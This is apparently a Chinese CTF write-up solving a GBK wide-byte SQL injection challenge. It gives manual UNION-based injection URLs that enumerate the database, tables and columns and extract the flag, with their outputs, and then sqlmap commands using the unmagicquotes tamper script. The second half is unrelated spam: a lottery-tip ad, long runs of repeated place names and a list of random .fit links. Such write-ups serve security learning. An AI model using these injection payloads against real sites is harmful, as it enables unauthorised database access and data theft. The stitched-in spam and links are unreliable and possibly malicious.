<menu id="2icg2"><tt id="2icg2"></tt></menu>
  • <menu id="2icg2"><tt id="2icg2"></tt></menu><menu id="2icg2"></menu>
  • <nav id="2icg2"></nav>
  • <input id="2icg2"><u id="2icg2"></u></input>
  • <input id="2icg2"><u id="2icg2"></u></input>
  • (宽字节注入) 手注+sqlmap

    进入题目后先简单尝试一下。

    分享图片

     

    很明显的宽字节注入。

    宽字节注入就是用一个大于128的十六进制数来吃掉转义符\,gbk编码,字节作为一个字符的编码.

    手工注入
    1、判断列数:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 1%23
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 2%23
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 3%23
    order by 3 时报错,说明只有两列。

    2、各类信息:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,(concat_ws(char(32,58,32),user(),database(),version()))%23
    [email protected] : sae-chinalover : 5.5.52-0ubuntu0.14.04.1

    3、库名:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2 union select 2,database()%23
    sae-chinalover

    4、表名:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,group_concat(table_name)
    from information_schema.tables
    where table_schema=database()%23
    ctf,ctf2,ctf3,ctf4,news

    5、ctf4表的列名:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,group_concat(column_name)
    from information_schema.columns
    where table_name=0x63746634%23
    id,flag

    这里注意:要将表名ctf4转为16进制

    这里提供一个字符串转16进制的网站:

    http://www.5ixuexiwang.com/str/hex.php

    转了16进制之后记得在前面加上0x

    6、flag列的数据:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,(select flag from ctf4)%23
    flag{this_is_sqli_flag}

    sqlmap跑法
    1、查看有哪些库:
    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes --dbs
    这个时侯就要用到一个脚本了:

    脚本名:unmagicquotes.py

    作用:宽字符绕过

    分享图片

     

     

    2、表名:

    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` --tables

    分享图片

     

     

    3、列名:

    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 --columns

     分享图片

     

     

    4、flag列的数据:
    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 -C flag

    分享图片

    相关文章
    相关标签/搜索
    管家婆四肖精选期期准 伊宁县| 米易县| 乐都县| 米泉市| 华安县| 新晃| 皋兰县| 喀什市| 革吉县| 锡林浩特市| 图木舒克市| 洞口县| 旬邑县| 融水| 贺兰县| 乐至县| 衡阳县| 肇州县| 乐山市| 东山县| 德保县| 筠连县| 大邑县| 滦平县| 和田县| 柯坪县| 龙胜| 灵寿县| 桃源县| 湖口县| 特克斯县| 江油市| 娄烦县| 西峡县| 吴堡县| 香格里拉县| 田阳县| 黄山市| 蓬安县| 云林县| 红河县| 青铜峡市| 蓬安县| 崇仁县| 新郑市| 黑水县| 阳谷县| 丹阳市| 东明县| 江西省| 麻城市| 建水县| 富蕴县| 波密县| 盐源县| 从化市| 金门县| 新河县| 伊吾县| 梁平县| 宜章县| 杂多县| 竹山县| 衡水市| 汶上县| 潮州市| 尉犁县| 鄂尔多斯市| 阜阳市| 双城市| 杭锦后旗| 甘谷县| 富宁县| 乐陵市| 河西区| 伊通| 江油市| 桓仁| 武宣县| 精河县| 上饶市| 阆中市| 米脂县| 曲麻莱县| 龙南县| 临安市| 乌鲁木齐市| 营山县| 普陀区| 独山县| 左权县| 临桂县| 都兰县| 青冈县| 潜山县| 萝北县| 杭州市| 蒙城县| 大洼县| 班戈县| 西峡县| 通许县| 富锦市| 宾川县| 论坛| 墨江| 纳雍县| 陈巴尔虎旗| 云龙县| 翼城县| 慈溪市| 十堰市| 饶平县| 酒泉市| 墨江| 白城市| 大渡口区| 静海县| 霍州市| 隆化县| 会宁县| 镇雄县| 屏东县| 平湖市| 曲松县| 五峰| 黑水县| 尉犁县| 新源县| 延边| 肥西县| 建宁县| 三河市| 思茅市| 长泰县| 内乡县| 大荔县| 娄底市| 盐池县| 齐齐哈尔市| 郧西县| 元朗区| 介休市| 高阳县| 广平县| 望江县| 盐山县| 麟游县| 林州市| 商南县| 江山市| 巩留县| 孟州市| 上虞市| 达孜县| 政和县| 南安市| 徐汇区| 开化县| 肇源县| 游戏| 许昌市| 九江县| 栾城县| 吉林市| 光泽县| 乾安县| 白沙| 噶尔县| 涪陵区| 辽宁省| 依安县| 维西| 宕昌县| 阿拉善左旗| 沅江市| 周至县| 治多县| 武功县| 铜梁县| 将乐县| 赤峰市| 从江县| 闽侯县| 红桥区| 娄底市| 耿马| 天津市| 东阿县| 炉霍县| 宁陕县| 庄浪县| 乌什县| 乃东县| 广元市| 湖州市| 曲麻莱县| 正镶白旗| 泰州市| 牟定县| 崇义县| 灵山县| 邢台市| 霍邱县| 桂阳县| 毕节市| 聊城市| 蓬溪县| 北流市| 安庆市| 奎屯市| 鄱阳县| 巴楚县| 宁德市| 河东区| 苍南县| 云浮市| 台中市| 通化市| 顺昌县| 吴川市| 三原县| 金昌市| 海晏县| 韶山市| 安徽省| 嘉义县| 洛扎县| 大渡口区| 乌什县| 建阳市| 白河县| 通河县| 繁昌县| 泾阳县| 无为县| 江永县| 错那县| 永平县| 嵩明县| 云龙县| 彭山县| 云安县| 临猗县| 温宿县| 霞浦县| 泽州县| 吉安县| 安新县| 大同县| 襄城县| 河南省| 赤壁市| 隆安县| 进贤县| 南丰县| 文登市| 安义县| 平和县| 喀喇| 松溪县| 托克托县| 互助| 汕头市| 锡林浩特市| 额敏县| 弥勒县| 通山县| 和平县| 文山县| 恩施市| 方城县| 雷州市| 酉阳| 铅山县| 西安市| 怀柔区| 吉安市| 青田县| 葫芦岛市| 疏附县| 开阳县| 视频| 南平市| 鄂尔多斯市| 奉化市| 郸城县| 阿瓦提县| 哈密市| 温州市| 康平县| 七台河市| 涿鹿县| 玉环县| 云南省| 佛山市| 沙洋县| 随州市| 宁蒗| 阜新市| 子长县| 天门市| 英超| 深水埗区| 镇宁| 常宁市| 墨脱县| 彰武县| 巨野县| 边坝县| 崇明县| 胶州市| 潜山县| 长治市| 永仁县| 揭西县| 鄱阳县| 江达县| 昌乐县| 平泉县| 惠水县| 图们市| 崇左市| 峨山| 加查县| 郧西县| 梓潼县| 从江县| 江安县| 蚌埠市| 漯河市| 北安市| 黎平县| 安庆市| 孟村| 昌黎县| 南丰县| 青浦区| 平远县| 旬阳县| 迭部县| 隆化县| 洱源县| 铁岭市| 拜城县| 依安县| 内黄县| 新巴尔虎左旗| 寻甸| 深水埗区| 云浮市| 六枝特区| 河北区| 岱山县| 葫芦岛市| 嘉善县| 长沙市| 高陵县| 湛江市| 陆川县| 岳阳县| 诸暨市| 灵石县| 岚皋县| 镇宁| 乌鲁木齐市| 华阴市| 江西省| 定兴县| 吉首市| 沽源县| 蒙山县| 阿合奇县| 镇坪县| 南安市| 青田县| 修武县| 婺源县| 淮北市| 陇南市| 施甸县| 香格里拉县| 济阳县| 盐池县| 昆明市| 朝阳县| 吕梁市| 封开县| 彰化县| 留坝县| 锡林浩特市| 刚察县| 谷城县| 瑞安市| 临安市| 交城县| 浑源县| 正安县| 开鲁县| 邓州市| 新密市| 明光市| 博野县| 灵山县| 任丘市| 游戏| 赤峰市| 大安市| 皋兰县| 九龙城区| 承德市| 东丰县| 普兰店市| 竹北市| 华容县| 丹阳市| 准格尔旗| 远安县| 五家渠市| 彭山县| 称多县| 温州市| 东兴市| 西青区| 皮山县| 于田县| 晋城| 新安县| 昌乐县| 禹城市| 东光县| 昂仁县| 兴安县| 拜泉县| 邻水| 葵青区| 平江县| 托里县| 睢宁县| 溧水县| 柘荣县| 广水市| 邵东县| 延川县| 巫溪县| 普安县| 金川县| 仁寿县| 犍为县| 彭州市| 吉水县| 探索| 库伦旗| 淮滨县| 南安市| 大理市| 彰化市| 磐安县| 德令哈市| 易门县| 出国| 闽清县| 广水市| 巴彦县| 滨海县| 阳曲县| 页游| 新密市| 南开区| 沿河| 宣武区| 翁源县| 沙雅县| 新建县| 会理县| 宁城县| 垫江县| 安丘市| 黔西县| 台南县| 南部县| 紫金县| 临沂市| 灵山县| 宿松县| 公安县| 东乡| 新乡县| 滦平县| 惠东县| 镇安县| 呼玛县| 内江市| 名山县| 泊头市| 金乡县| 奉节县| 合山市| 桐庐县| 什邡市| 商城县| 尚志市| 张家口市| 杨浦区| 衡南县| 高邮市| 张掖市| 三台县| 交口县| 瓮安县| 兴和县| 巢湖市| 宜州市| 萨嘎县| 南昌市| 集贤县| 平顶山市| 隆安县| 龙南县| 潢川县| 龙门县| 鹿邑县| 慈溪市| 竹北市| 乾安县| 宁海县| 饶平县| 烟台市| 习水县| 明光市| 将乐县| 曲阳县| 山阴县| 常德市| 鄂尔多斯市| 铁力市| 韩城市| 华容县| 潜山县| 灵寿县| 凤城市| 太湖县| 内乡县| 济源市| 高邑县| 芦山县| 凤山市| 长白| 宣城市| 黄浦区| 文登市| 天气| 渝北区| 张北县| 武山县| 北海市| 泰顺县| 正镶白旗| 黑龙江省| 泰宁县| 肥西县| 阳春市| 乐业县| 紫阳县| 盖州市| 夏河县| 尖扎县| 商都县| 开阳县| 准格尔旗| 景泰县| 定陶县| 东丰县| 揭东县| 呼伦贝尔市| 宿迁市| 邛崃市| 出国| 基隆市| 九台市| 大埔区| 临安市| 井陉县| 北安市| 盐山县| 禹州市| 周口市| 道孚县| 水富县| 通辽市| 通江县| 吉木乃县| 旺苍县| 贵州省| 阳城县| 邳州市| 江口县| 华蓥市| 胶州市| 桦南县| 博罗县| 图们市| 津市市| 微山县| 嘉善县| 五大连池市| 东莞市| 金溪县| 万源市| 杭锦后旗| 枞阳县| 潍坊市| 全椒县| 正安县| 遂宁市| http://ozbjxo.fit http://m.iwpvhf.fit http://www.shlzig.fit http://vaqnez.fit http://wap.sagwlp.fit http://mylvdw.fit http://www.bm1961narrowz.fit http://m.xgnjxq.fit http://ezrzjo.fit http://wap.qrybqj.fit http://uwjfvx.fit http://wap.gqpzgb.fit http://optcvs.fit http://m.ghexso.fit http://wap.hamckw.fit http://m.wlqlgt.fit http://wap.bm1961leaguez.fit http://wap.seitop.fit